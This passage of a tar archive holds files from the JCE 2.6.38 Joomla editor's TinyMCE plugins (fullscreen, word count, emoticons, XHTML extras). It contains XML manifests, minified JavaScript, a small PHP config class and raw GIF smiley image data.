	<name>WF_FULLSCREEN_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_FULLSCREEN_DESC</description>
	<icon>fullscreen</icon>
	<params></params>
	<help>
		<topic key="fullscreen.about" title="WF_FULLSCREEN_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/fullscreen/editor_plugin.js000060400000005042150750527140016671 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event;tinymce.create("tinymce.plugins.FullScreenPlugin",{init:function(ed,url){function getInterfaceHeight(){var h=0,ca=ed.getContentAreaContainer(),p=ca.parentNode;return tinymce.each(p.childNodes,function(n){n!==ca&&(h+=n.offsetHeight)}),h}var width,height,bookmark,resize,overflow,de=DOM.doc.documentElement;ed.onFullScreen=new tinymce.util.Dispatcher,ed.onFullScreenResize=new tinymce.util.Dispatcher;var element=ed.getElement(),container=element.parentNode;ed.addCommand("mceFullScreen",function(){var iframe=DOM.get(ed.id+"_ifr"),s=ed.settings;try{bookmark=ed.selection.getBookmark()}catch(e){}var vp=DOM.getViewPort(),header=DOM.getPrev(element,".wf-editor-header");if(ed.getParam("fullscreen_enabled"))DOM.removeClass(container,"mce-fullscreen"),DOM.setStyle(container,"max-width",width+"px"),DOM.setStyle(iframe,"height",height),de.style.overflow=overflow,bookmark&&ed.selection.moveToBookmark(bookmark),DOM.setStyle(element,"height",height),s.fullscreen_enabled=!1,resize&&Event.remove(DOM.win,"resize",resize);else{width=container.clientWidth,height=parseInt(iframe.style.height),overflow=de.style.overflow,DOM.setStyle(container,"max-width","100%"),DOM.setStyle(iframe,"max-width","100%"),DOM.win.scrollTo(0,0);var ih=ed.settings.interface_height||getInterfaceHeight();ed.isHidden()||(ed.settings.container_height=ed.getContainer().offsetHeight,sessionStorage.setItem("wf-editor-container-height",ed.settings.container_height)),DOM.addClass(container,"mce-fullscreen"),window.setTimeout(function(){DOM.setStyle(iframe,"height",vp.h-ih-header.offsetHeight),DOM.setStyle(element,"height",vp.h-header.offsetHeight-10),DOM.setStyle(element,"width","100%")},0),bookmark&&ed.selection.moveToBookmark(bookmark),resize=Event.add(DOM.win,"resize",function(){vp=DOM.getViewPort(),DOM.setStyles(iframe,{height:vp.h-ih,"max-width":vp.w+"px"}),ed.onFullScreenResize.dispatch(ed,vp)}),de.style.overflow="hidden",vp.h<640&&(de.style.overflow="scroll"),s.fullscreen_enabled=!0}ed.onFullScreen.dispatch(ed,s.fullscreen_enabled)}),ed.addButton("fullscreen",{title:"fullscreen.desc",cmd:"mceFullScreen"}),ed.addShortcut("ctrl+shift+f","fullscreen.desc","mceFullScreen"),ed.onNodeChange.add(function(ed,cm){cm.setActive("fullscreen",ed.getParam("fullscreen_enabled"))})}}),tinymce.PluginManager.add("fullscreen",tinymce.plugins.FullScreenPlugin)}();editor/tiny_mce/plugins/fullscreen/index.html000060400000000054150750527140015462 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/wordcount/index.html000060400000000054150750527140015344 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/wordcount/editor_plugin.js000060400000005030150750527140016550 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.create("tinymce.plugins.WordCount",{block:0,id:null,countre:null,cleanre:null,init:function(ed,url){function checkKeys(key){return key!==last&&(key===VK.ENTER||last===VK.SPACEBAR||checkDelOrBksp(last))}function checkDelOrBksp(key){return key===VK.DELETE||key===VK.BACKSPACE}var t=this,last=0,VK=tinymce.VK;t.countre=ed.getParam("wordcount_countregex",/[\w\u2019\x27\-\u00C0-\u1FFF]+/g),t.cleanre=ed.getParam("wordcount_cleanregex",/[0-9.(),;:!?%#$?\x27\x22_+=\\\/\-]*/g),t.update_rate=ed.getParam("wordcount_update_rate",2e3),t.update_on_delete=ed.getParam("wordcount_update_on_delete",!1),t.id=ed.id+"-word-count",ed.onWordCount=new tinymce.util.Dispatcher(t),ed.onPostRender.add(function(ed,cm){var row,id;id=ed.getParam("wordcount_target_id"),id?tinymce.DOM.add(id,"span",{},'<span id="'+t.id+'">0</span>'):(row=tinymce.DOM.get(ed.id+"_path_row"),row&&tinymce.DOM.add(row.parentNode,"div",{class:"mceWordCount"},ed.getLang("wordcount.words","Words: ")+'<span id="'+t.id+'" class="mceText">0</span>'))}),ed.onInit.add(function(ed){ed.selection.onSetContent.add(function(){t._count(ed)}),t._count(ed)}),ed.onSetContent.add(function(ed){t._count(ed)}),ed.onKeyUp.add(function(ed,e){(checkKeys(e.keyCode)||t.update_on_delete&&checkDelOrBksp(e.keyCode))&&t._count(ed),last=e.keyCode})},_getCount:function(ed){var tc=0,tx=ed.getContent({format:"raw"});if(tx){tx=tx.replace(/\.\.\./g," "),tx=tx.replace(/<.[^<>]*?>/g," ").replace(/&nbsp;|&#160;/gi," "),tx=tx.replace(/(\w+)(&#?[a-z0-9]+;)+(\w+)/i,"$1$3").replace(/&.+?;/g," "),tx=tx.replace(this.cleanre,"");var wordArray=tx.match(this.countre);wordArray&&(tc=wordArray.length)}return tc},_count:function(ed){var t=this,limit=parseInt(ed.getParam("wordcount_limit",0));t.block||(t.block=1,setTimeout(function(){if(!ed.destroyed){var tc=t._getCount(ed);tinymce.DOM.setHTML(t.id,tc.toString()),limit&&(tc-limit>0?tinymce.DOM.addClass(t.id,"wordcount_limit"):tinymce.DOM.removeClass(t.id,"wordcount_limit")),ed.onWordCount.dispatch(ed,tc),setTimeout(function(){t.block=0},t.update_rate)}},1))},getInfo:function(){return{longname:"Word Count plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/wordcount",version:tinymce.majorVersion+"."+tinymce.minorVersion}}}),tinymce.PluginManager.add("wordcount",tinymce.plugins.WordCount)}();editor/tiny_mce/plugins/emotions/classes/index.html000060400000000054150750527140016612 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/emotions/classes/config.php000060400000001364150750527140016600 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFEmotionsPluginConfig
{
    public static function getConfig(&$settings)
    {
        // Get JContentEditor instance
        $wf = WFEditor::getInstance();

        $settings['emotions_smilies'] = $wf->getParam('emotions.smilies');
        $settings['emotions_url'] = $wf->getParam('emotions.url');
    }
}
editor/tiny_mce/plugins/emotions/emotions.xml000060400000002511150750527140015537 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="emotions" editable="1" core="0" row="4">
	<name>WF_EMOTIONS_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Moxiecode / Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_EMOTIONS_DESC</description>
	<icon>emotions</icon>
	<files>
		<file>editor_plugin.js</file>
		<file>emotions.php</file>
		<folder>classes</folder>
		<folder>css</folder>
		<folder>img</folder>
		<folder>js</folder>
		<folder>tmpl</folder>
	</files>
	<params group="standard">
		<param name="url" type="text" placeholder="components/com_jce/editor/tiny_mce/plugins/emotions/img" default="" size="100" label="WF_EMOTIONS_PARAM_URL" description="WF_EMOTIONS_PARAM_URL_DESC" />
		<param name="smilies" type="text" placeholder="eg: smiley-confused.gif,smiley-cool.gif" default="" size="100" label="WF_EMOTIONS_PARAM_SMILIES" description="WF_EMOTIONS_PARAM_SMILIES_DESC" />
	</params>
	<languages>
		<language tag="en-GB">en-GB.com_jce_emotions.ini</language>
	</languages>
	<help></help>
</install>
 editor/tiny_mce/plugins/emotions/img/smiley-tongue-out.gif000060400000000510150750527140020026 0ustar00GIF89a�&
��Ɨ}���ʶj��#��N���Ҿ��XR=
���
��2��.�::nX��F��q����غ��Z�/'ļ���7�����1��"�RT!�,��'�Ti�cJV��4�QQ*Y4�2M
���aQ($H���@�(��D��h4U�$q�Q*��&���5���P\e
��ptE�9��*-aWW��

������xn���	�	�vE��
%�	
�
\����A-1N)��5�����!;editor/tiny_mce/plugins/emotions/img/smiley-kiss.gif000060400000000522150750527140016674 0ustar00GIF89a�R=����44�s��Yʶj���
��2���!��N�*����)��"��m��q������غ��>�9)ښļ���9��ֽ�)����Y!�,��'�Ti�cJV�s�RQ*Y!Ir�T�3!x�C�p#ʂ!X�׫���Q*��y$���0�.9@��8�n�H��5q}M		a}
�����
����{�
/
��H

�

J	�%	S�
\���A	HJP)�DN�5�����!;editor/tiny_mce/plugins/emotions/img/smiley-money-mouth.gif000060400000000501150750527140020201 0ustar00GIF89a�)�����¨"¬Q��nX6��R��j��1���>^*��
��n��9��$J3�s� ��V���Mw9ZF>2B�噚�6Ѿ&�ӿrx$�~���!�,��'�Ti�cJn��0�Q*I0��4����1���n�~(
�D>t�s�h8",n0f��!�$lw2*��ۑW�]Hm��%�x����%��D%o���pu���%
Q��Y
4
��#�����B
���*���N!;editor/tiny_mce/plugins/emotions/img/smiley-laughing.gif000060400000000454150750527140017525 0ustar00GIF89a������������������~��a�ֽ��h��V�ͽ��I�����]�I�E���ҹ�۰\ۦ=ԤCբ5��f��W��%��E��!���r���!�,��'�di��E�B���@�`�3�Ck�6Վ�PRyP<H�y<:V�R��bQ��Α�n�/����p4xM����,
��
#��#		�		$		�%yC$E�&0���$!;editor/tiny_mce/plugins/emotions/img/smiley-sealed.gif000060400000000505150750527140017161 0ustar00GIF89a�R=�������	����ھ����R��I�����ͷ�����Jʶj��5�� ��(��\���lU
�����N���û?��:��o��"�ֶ����/!�,��'�Si�cJ�6RL*�ޡi�g8��"ґ` �#�D�	b��D�l�Y h�A�yx<�3Vc�I���3��Wa�gw�Yx
|ds	���/����}'��p���
W
N���%��`����A

[
P)DN�5���)!;editor/tiny_mce/plugins/emotions/img/smiley-roll.gif000060400000000453150750527140016676 0ustar00GIF89a�����������������}�ӱ��V��^��f��k�˝��N�]��@�f��8�L�O�>֭Zۦ=��f̙3��W��;��E��"3f����!�,��'�di�Ic�b�8�`������1ّ�G�)D���0QT.Ɓq�L��(��G��("��"#�Wt{9��4
~�	q+��",���#����$�K�%��&��0�0���#!;editor/tiny_mce/plugins/emotions/img/smiley-tongue_out.gif000060400000000454150750527140020117 0ustar00GIF89a��������������h�ӱ��L��f��f��N��A�[�I�=ڭZۦ=��f̙3��Wf�̽�;��"�yF��C�w�ZZ�^+�??3f����!�,��'�di���
q�A�!K��c����ؑ���(����s8��Qu�
��Y$����"�Py ��a��"���~o������#�����$�g�%f

		&�m�/��/���#!;editor/tiny_mce/plugins/emotions/img/smiley-cry.gif000060400000000454150750527140016524 0ustar00GIF89a�������������x����ӱ��L��^��i��O��F�X�I�fɺ��E�7�PװfܭCި7ףG��f̙3��W��;��E��"���!�,��'�di���L�R���0�`�3��c5���ؑ�BC!P4Ʌ�T�Y4���B|� �ăAV��	ddQ4&�C�4��%1
@	#}v
�o�#���#q�$����%���F$�&�0���#!;editor/tiny_mce/plugins/emotions/img/smiley-evil.gif000060400000000464150750527140016667 0ustar00GIF89a����������n�н����f��N��>�]��?�C�:�;ڭZ�4٭C��f̙3��Wf���'��C�}�cS�ff�R13f��@@�33���!�,��'�dYj�'L��Wh��m�0:�u�Z��+�� i� L�ǧbC0��E1QX"#&R�����b9$��c_8#w�

�	t	��	Y#�ll�#���)#���%f��&f
�&"������&!;editor/tiny_mce/plugins/emotions/img/smiley-foot-in-mouth.gif000060400000000530150750527140020427 0ustar00GIF89a�&
��Ɩ~��ʶj�� ��
���MR:	��Zѽ��1mT��+��H����غ��oļ���O��'ª����6��0:"��
��6����7!�,��'�Pi�cJFH�mA*I%ITf��aQ *N��8#b!�88���"Y h��A��d2�3�!1̤�H��s�{�(s	v�s
cst


�
�������}
�
	��
�
{E��	M%�Ƃ^�ƚ
A�P)�DN�5�����};editor/tiny_mce/plugins/emotions/img/smiley-undecided.gif000060400000000521150750527140017646 0ustar00GIF89a�*��Ɗy��ʶj��%��N����YֺdN��2��
��-��G��q����غB/ê��9ļ�������YVC��7vb��ο$!�,��'�Qi�cJJF� �!E*I4LA	���AId��#��8���A&���@�HU�D�������h��[�0��N��T�}	`r

������y	��
����tw�
�%��“�[�	��	AKGP)�DN�5�����!;editor/tiny_mce/plugins/emotions/img/smiley-eek.gif000060400000000454150750527140016473 0ustar00GIF89a�����������������������؄�Ը��f��Q�]�Cҹo�I׷b߬O��|ۦ=��������_Π>��q��W��"��C3f����!�,��'�di���Kq�A�B}0M`�$5A�q�F�0x��r�D��!��f�х��Ÿ|��2�1aL���{�0(&�}z"+��#�+��#
+��+
$��%��:�

�'
��/���#!;editor/tiny_mce/plugins/emotions/img/smiley-sad.gif000060400000000445150750527140016476 0ustar00GIF89a������������}��s�ӱ��L��^��f��i��N��A��]�C�W��8�I�Dװf߬O۩Bբ5̙3��Wf�̽�;��"��C3f����!�,��'�di���D�B���0E`�#��d�� ّ ���BP.��D�Y0���B|� 	��a$����,��X�~hԍ�etA4���
#��{"��
�#���$
�
��%�
��F$��&��0���#!;editor/tiny_mce/plugins/emotions/img/smiley-innocent.gif000060400000000520150750527140017536 0ustar00GIF89a�8*�˭���q˱���Z��U��쳏����� ��8wi٫��T���̵ �����q��N��*aK
�z����0��-��VھB��2�u"!�,��'�Ri��x��eH�dbK,R=�ɣ����!�Q<6�Ph�'0�*����d��i;�pg��P:���t|NR
��RUR}			
�
�m�	_���Q���	�w����
�	���%����Q�S*
�P
8)�<MV�)#����#!;editor/tiny_mce/plugins/emotions/img/smiley-surprised.gif000060400000000461150750527140017745 0ustar00GIF89a���������������s�ӱ��h��L��f��[��N�ƕ��A��@�[��8�GڭZۦ=��f̙3��Wf�̽�;��E��"���w
3f����!�,��'�di��"E�R��1�`4��d5�� ّ �f� (�H� AH�d[��DEB�0@�PHE����%�Á��(	���	~p����+K,#����$

%F$��&��0���#!;editor/tiny_mce/plugins/emotions/img/index.html000060400000000054150750527140015731 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/emotions/img/smiley-yell.gif000060400000000460150750527140016671 0ustar00GIF89a���������������i��s�ҿ��^��I��G�]��?�EݴO٧AǦeբ5œ-��W��;��"��C���u�f�CC�R�**�(���!�,��'�di�E�4KR�b�,�`��r5��ؑ���<H��0$ �cI/#�XX,]�y�HHE]�|NoCF�D#���-|
	#

��
w"{�
#
��
$%X\�F$c0�ִ����!;editor/tiny_mce/plugins/emotions/img/smiley-smile.gif000060400000000446150750527140017041 0ustar00GIF89a�������������s�Ӻ��V��f��C��W��@�f�=�J�T�JڭZܭCԤCբ5��f̙3��Wf�̽�1��E��"���w3f����!�,��'�di�Ҭq���A=Ȃ)8�@׵�#GR�
c�H>

��xX�V�K�8���^�HrH�1
7�8HF��b��/#
~{�
#II�#
�+$���%����D$

�&��/���#!;editor/tiny_mce/plugins/emotions/img/smiley-confused.gif000060400000000453150750527140017534 0ustar00GIF89a������������}��s�ӱ��L��^��f��i��N��A�X��?�W�K�=װf߬OܭCۥ5��f̙3��Wf�̽�;��E��"3f����!�,��'�di��"�q���A]0�`
�1��!�#A�f2�`��Ы`*Pke�A���H8<�"!U
	@#AH4I#QY
���
#���}"���#��$�
�%
��E$��&�/���#!;editor/tiny_mce/plugins/emotions/img/smiley-wink.gif000060400000000450150750527140016673 0ustar00GIF89a���������������}����h�ӱ��L��f��c��N��A�C�[�I��8�<ڭZܭCڥ5��f̙3��Wf�̽�;��#��E3f����!�,��'�di��LS�b5�`
�A��ّ ���$��D (S!�DH��i,*�C!uc�ڲ|8��E��
#
��
y"���#	��
�	$
K\

%���&�0	�0���#!;editor/tiny_mce/plugins/emotions/img/smiley-mad.gif000060400000000454150750527140016470 0ustar00GIF89a���������������n�ӱ��L��f��>��H�]��;�W�I�C�;ڭZܭC�4��f̙3��WŽ%f�̽�;��E��s3f����!�,��'�di�E�4OR�b�8�`s`�A�6��#9��D:H��1�0,��y�	�="�M� �gEb2� ���
n
�
���
|"�f��#���$���%`	��&`�0��0���#!;editor/tiny_mce/plugins/emotions/img/smiley-cool.gif000060400000000457150750527140016666 0ustar00GIF89a����������i�ӱ��h��f��R��I�]��@�f�<�Oװf�;ԤCբ5��f��;�����E��"�v)LLLSJ3:<?:20(
���!�,��'�di���4�1�b� `s`�!�6���#)�˅!`(�
�A@8z��Ap�DL���t��Ι1�8�͆�d2�!2� 0�
�m
�,��|"
,	���#�	33	�$	JJ[	%
��E$�
�&�0���#!;editor/tiny_mce/plugins/emotions/img/smiley-frown.gif000060400000000524150750527140017060 0ustar00GIF89a�A'��Ơ�����2ʶj��N�����Xν"��7hT��
��-��q��ZA
����غ��Gīļ�����7��Z��"������%x`��0!�,��'�Qi�cJJ�&�!E*Y0�8���ԡAA`&
���4��!�x<��đ0�"FU��$�Jc&%`..�cރ1�w~�bp
��������z
�r����r
x�%�	��]�
̘��
AKGP)�DN�5�����!;editor/tiny_mce/plugins/emotions/img/smiley-neutral.gif000060400000000455150750527140017402 0ustar00GIF89a����������������ӱ��h��^��L��f��[��N��A��k��H��?�Y�=�OڭZأCբ5��f��Wf�̽�;��E��"3f����!�,��'�di�F2��q���B]4R`25�Aё$I��<�H	��kPz"�At�	�i$D�x�,	���(&�đ��.
���
o
���
~"����#����$K�%��&�/�/���#!;editor/tiny_mce/plugins/emotions/img/smiley-embarassed.gif000060400000000452150750527140020033 0ustar00GIF89a������������}��s�ӱ��f��i��K��[��A��S�W�I�C��;ׯf߬OܭD��4�5Ԡ5̙3—Wf���(��"��C3f����!�,��'�di�DEPB���4E`�#��c���ؑ�B�"H.Ʉ�D�Q0��B|��
��@8<�B:�,�F
�"�etiT*x�p
m����{"����#�
�
�$
��%n��zF$�&�ɩ0���#!;editor/tiny_mce/plugins/emotions/editor_plugin.js000060400000013060150750527140016363 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event,each=tinymce.each,emoji=[{"😀":"grinning_face"},{"😁":"grinning_face_with_smiling_eyes"},{"😂":"face_with_tears_of_joy"},{"😃":"smiling_face_with_open_mouth"},{"😄":"smiling_face_with_open_mouth_and_smiling_eyes"},{"😅":"smiling_face_with_open_mouth_and_cold_sweat"},{"😆":"smiling_face_with_open_mouth_and_tightly_closed_eyes"},{"😇":"smiling_face_with_halo"},{"😈":"smiling_face_with_horns"},{"😉":"winking_face"},{"😊":"smiling_face_with_smiling_eyes"},{"😋":"face_savouring_delicious_food"},{"😌":"relieved_face"},{"😍":"smiling_face_with_heart_shaped_eyes"},{"😎":"smiling_face_with_sunglasses"},{"😏":"smirking_face"},{"😐":"neutral_face"},{"😑":"expressionless_face"},{"😒":"unamused_face"},{"😓":"face_with_cold_sweat"},{"😔":"pensive_face"},{"😕":"confused_face"},{"😖":"confounded_face"},{"😗":"kissing_face"},{"😘":"face_throwing_a_kiss"},{"😙":"kissing_face_with_smiling_eyes"},{"😚":"kissing_face_with_closed_eyes"},{"😛":"face_with_stuck_out_tongue"},{"😜":"face_with_stuck_out_tongue_and_winking_eye"},{"😝":"face_with_stuck_out_tongue_and_tightly_closed_eyes"},{"😞":"disappointed_face"},{"😟":"worried_face"},{"😠":"angry_face"},{"😡":"pouting_face"},{"😢":"crying_face"},{"😣":"persevering_face"},{"😤":"face_with_look_of_triumph"},{"😥":"disappointed_but_relieved_face"},{"😦":"frowning_face_with_open_mouth"},{"😧":"anguished_face"},{"😨":"fearful_face"},{"😩":"weary_face"},{"😪":"sleepy_face"},{"😫":"tired_face"},{"😬":"grimacing_face"},{"😭":"loudly_crying_face"},{"😮":"face_with_open_mouth"},{"😯":"hushed_face"},{"😰":"face_with_open_mouth_and_cold_sweat"},{"😱":"face_screaming_in_fear"},{"😲":"astonished_face"},{"😳":"flushed_face"},{"😴":"sleeping_face"},{"😵":"dizzy_face"},{"😶":"face_without_mouth"},{"😷":"face_with_medical_mask"},{"😸":"grinning_cat_face_with_smiling_eyes"},{"😹":"cat_face_with_tears_of_joy"},{"😺":"smiling_cat_face_with_open_mouth"},{"😻":"smiling_cat_face_with_heart_shaped_eyes"},{"😼":"cat_face_with_wry_smile"},{"😽":"kissing_cat_face_with_closed_eyes"},{"😾":"pouting_cat_face"},{"😿":"crying_cat_face"},{"🙀":"weary_cat_face"},{"🙁":"slightly_frowning_face"},{"🙂":"slightly_smiling_face"},{"🙃":"upside_down_face"},{"🙄":"face_with_rolling_eyes"},{"🙅":"face_with_no_good_gesture"},{"🙆":"face_with_ok_gesture"},{"🙇":"person_bowing_deeply"},{"🙈":"see_no_evil_monkey"},{"🙉":"hear_no_evil_monkey"},{"🙊":"speak_no_evil_monkey"},{"🙋":"happy_person_raising_one_hand"},{"🙌":"person_raising_both_hands_in_celebration"},{"🙍":"person_frowning"},{"🙎":"person_with_pouting_face"},{"🙏":"person_with_folded_hands"}];tinymce.isIE8&&(emoji=["smiley-confused.gif","smiley-cool.gif","smiley-cry.gif","smiley-eek.gif","smiley-embarassed.gif","smiley-evil.gif","smiley-laughing.gif","smiley-mad.gif","smiley-neutral.gif","smiley-roll.gif","smiley-sad.gif","smiley-surprised.gif","smiley-tongue_out.gif","smiley-wink.gif","smiley-yell.gif","smiley-smile.gif"]),tinymce.create("tinymce.plugins.EmotionsPlugin",{init:function(ed,url){function createEmojiContent(icons,path){var content=document.createElement("div");return path&&path.indexOf("://")===-1&&(path=ed.documentBaseURI.toAbsolute(path,!0)),each(icons,function(data){if("string"==typeof data){var label="",src=data,item={};path&&(src=path+"/"+src),/\.(png|jpg|jpeg|gif)$/i.test(data)&&(label=data.replace(/\.[^.]+$/i,""),data='<img src="'+src+'" alt="'+ed.getLang("emotions."+label,label)+'" />'),item[data]=label,data=item}each(data,function(label,key){if(/\.(png|jpg|jpeg|gif)$/i.test(key)){var src=key;path&&(src=path+"/"+src),src=ed.documentBaseURI.toAbsolute(src,!0),key='<img src="'+src+'" alt="'+ed.getLang("emotions."+label,label)+'" />'}DOM.add(content,"div",{class:"mce_emotions_icon",title:ed.getLang("emotions."+label,label)},key)})}),content.innerHTML}var self=this;this.editor=ed,this.url=url,ed.addButton("emotions",{title:"emotions.desc",cmd:"mceEmotion"}),self.content="";var path=ed.getParam("emotions_url",url+"/img"),icons=ed.getParam("emotions_smilies",emoji,"hash");this.content=createEmojiContent(icons,path),this.loaded=!1,path&&/\.(json|txt)$/.test(path)&&!this.loaded&&(path.indexOf("://")===-1&&(path=ed.documentBaseURI.toAbsolute(path,!0)),this.loaded=!0,tinymce.util.XHR.send({url:path,success:function(text){try{icons=JSON.parse(text)}catch(e){}path=path.substring(0,path.lastIndexOf("/")),self.content=createEmojiContent(icons,path)}}))},createControl:function(n,cm){var self=this,ed=this.editor;switch(n){case"emotions":var c=new tinymce.ui.ButtonDialog(cm.prefix+"emotions",{title:ed.getLang("emotions.desc","Insert an Emoticon"),class:"mce_emotions",content:"",width:250},ed);return c.onRenderDialog.add(function(){DOM.setHTML(DOM.select(".mceButtonDialogContent",ed.id+"_emotions_dialog"),self.content),Event.add(DOM.select(".mceButtonDialogContent",ed.id+"_emotions_dialog"),"click",function(e){e.preventDefault(),c.restoreSelection();var n=e.target,p=DOM.getParent(n,".mce_emotions_icon");if(p){var html=p.innerText;"IMG"===n.nodeName&&(n.setAttribute("src",ed.documentBaseURI.toRelative(n.src)),html=p.innerHTML),ed.execCommand("mceInsertContent",!1,html)}c.hideDialog()})}),ed.onRemove.add(function(){c.destroy()}),cm.add(c)}return null}}),tinymce.PluginManager.add("emotions",tinymce.plugins.EmotionsPlugin)}();editor/tiny_mce/plugins/emotions/index.html000060400000000054150750527140015155 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/xhtmlxtras/editor_plugin.js000060400000010644150750527140016751 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var each=tinymce.each;tinymce.create("tinymce.plugins.XHTMLXtrasPlugin",{init:function(ed,url){ed.addCommand("mceCite",function(){ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=xhtmlxtras&element=cite",width:440+parseInt(ed.getLang("xhtmlxtras.cite_delta_width",0)),height:320+parseInt(ed.getLang("xhtmlxtras.cite_delta_height",0)),inline:1,size:"mce-modal-portrait-medium"},{plugin_url:url,element:"cite"})}),ed.addCommand("mceAcronym",function(){ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=xhtmlxtras&element=acronym",width:440+parseInt(ed.getLang("xhtmlxtras.acronym_delta_width",0)),height:320+parseInt(ed.getLang("xhtmlxtras.acronym_delta_height",0)),inline:1,size:"mce-modal-portrait-medium"},{plugin_url:url,element:"acronym"})}),ed.addCommand("mceAbbr",function(){ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=xhtmlxtras&element=abbr",width:440+parseInt(ed.getLang("xhtmlxtras.abbr_delta_width",0)),height:320+parseInt(ed.getLang("xhtmlxtras.abbr_delta_height",0)),inline:1,size:"mce-modal-portrait-medium"},{plugin_url:url,element:"abbr"})}),ed.addCommand("mceDel",function(){ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=xhtmlxtras&element=del",width:440+parseInt(ed.getLang("xhtmlxtras.del_delta_width",0)),height:360+parseInt(ed.getLang("xhtmlxtras.del_delta_height",0)),inline:1,size:"mce-modal-portrait-medium"},{plugin_url:url,element:"del"})}),ed.addCommand("mceIns",function(){ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=xhtmlxtras&element=ins",width:440+parseInt(ed.getLang("xhtmlxtras.ins_delta_width",0)),height:360+parseInt(ed.getLang("xhtmlxtras.ins_delta_height",0)),inline:1,size:"mce-modal-portrait-medium"},{plugin_url:url,element:"ins"})}),ed.addCommand("mceAttributes",function(){ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=xhtmlxtras&element=attributes",width:640,height:480,inline:1},{plugin_url:url})}),ed.addButton("cite",{title:"xhtmlxtras.cite_desc",cmd:"mceCite"}),"html5-strict"!==ed.settings.schema&&ed.addButton("acronym",{title:"xhtmlxtras.acronym_desc",cmd:"mceAcronym"}),ed.addButton("abbr",{title:"xhtmlxtras.abbr_desc",cmd:"mceAbbr"}),ed.addButton("del",{title:"xhtmlxtras.del_desc",cmd:"mceDel"}),ed.addButton("ins",{title:"xhtmlxtras.ins_desc",cmd:"mceIns"}),ed.addButton("attribs",{title:"xhtmlxtras.attribs_desc",cmd:"mceAttributes"}),ed.onNodeChange.add(function(ed,cm,n,co){if(n=ed.dom.getParent(n,"CITE,ACRONYM,ABBR,DEL,INS"),cm.setDisabled("cite",co),cm.setDisabled("acronym",co),cm.setDisabled("abbr",co),cm.setDisabled("del",co),cm.setDisabled("ins",co),cm.setDisabled("attribs",n&&"BODY"==n.nodeName),cm.setActive("cite",0),cm.setActive("acronym",0),cm.setActive("abbr",0),cm.setActive("del",0),cm.setActive("ins",0),n)do cm.setDisabled(n.nodeName.toLowerCase(),0),cm.setActive(n.nodeName.toLowerCase(),1);while(n=n.parentNode)}),ed.onPreInit.add(function(){ed.dom.create("abbr"),ed.formatter.register({cite:{inline:"cite",remove:"all",onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value)})}},acronym:{inline:"acronym",remove:"all",onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value)})}},abbr:{inline:"abbr",remove:"all",onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value)})}},del:{inline:"del",remove:"all",onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value)})}},ins:{inline:"ins",remove:"all",onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value)})}},attributes:{inline:"span",remove:"all",onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value)})}}})})},getInfo:function(){return{longname:"XHTML Xtras Plugin",author:"Moxiecode Systems 